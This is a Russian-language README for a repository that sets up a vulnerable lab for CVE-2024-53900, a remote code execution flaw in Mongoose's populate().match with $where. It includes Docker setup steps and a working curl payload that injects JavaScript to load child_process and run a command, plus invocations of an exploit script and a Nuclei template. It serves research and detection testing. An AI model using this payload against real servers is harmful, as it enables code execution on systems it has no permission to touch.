CVE-2024-53900 - Уязвимость удаленного выполнения кода в Mongoose populate().match $where

Этот репозиторий предоставляет воспроизводимую уязвимую среду и PoC для CVE-2024-53900 — критической уязвимости удаленного выполнения кода (RCE) в Mongoose версии < 8.8.3.

📌 Детали уязвимости

• CVE: CVE-2024-53900
• Затронутая версия: Mongoose < 8.8.3
• Серьезность: Критическая (CVSS 9.1)
• Вектор: populate().match в сочетании с $where
• Воздействие: Произвольное выполнение JavaScript (RCE) в контексте Node.js

Ссылки:

• Уведомление на GitHub
• Исправляющий коммит

🛠️ Инструкция по настройке

1. Клонирование репозитория

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. Запуск окружения (Docker Compose)

docker-compose up -d

📌 GUI PoC (Калькулятор)

По умолчанию уязвимое Node.js-приложение работает внутри Docker.
Однако графические приложения (например, xcalc или gnome-calculator) не запустятся внутри контейнера.

👉 Если вы хотите продемонстрировать RCE путем открытия окна калькулятора:

1. Запустите MongoDB в Docker (как базу данных)

   root@kitploit:~

   docker run -d --name mongo -p 27017:27017 mongo:6
   

2. Запустите уязвимое Node.js-приложение локально

   cd ~/cve-2024/app
   npm install
   node server.js

• MongoDB работает на порту 27017
• Уязвимое Node.js-приложение работает на порту 5000

📂 Структура каталогов

/home/kali/cve-2024/
├── docker-compose.yml     # Environment setup
├── exploit.py             # Automated exploit script
├── CVE-2024-53900.yaml    # Nuclei template
├── README.md              # Documentation
├── app/                   # Vulnerable Node.js app
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB volume

🚀 Эксплуатация

Ручной тест

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

Автоматизированный PoC

python3 exploit.py --url http://localhost:5000

С помощью Nuclei

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

🔒 Замечания по безопасности

• Только для исследований и тестирования (не для продакшена).
• Полезная нагрузка ограничена безопасными операциями (например, создание файла).
• Полная изоляция с помощью Docker.

✅ Протестированное окружение

• ОС: Kali Linux
• MongoDB: mongo:6
• Node.js: 18
• Mongoose: 8.5.0 (уязвимая)
• Express: 4.18.2

📸 Демонстрация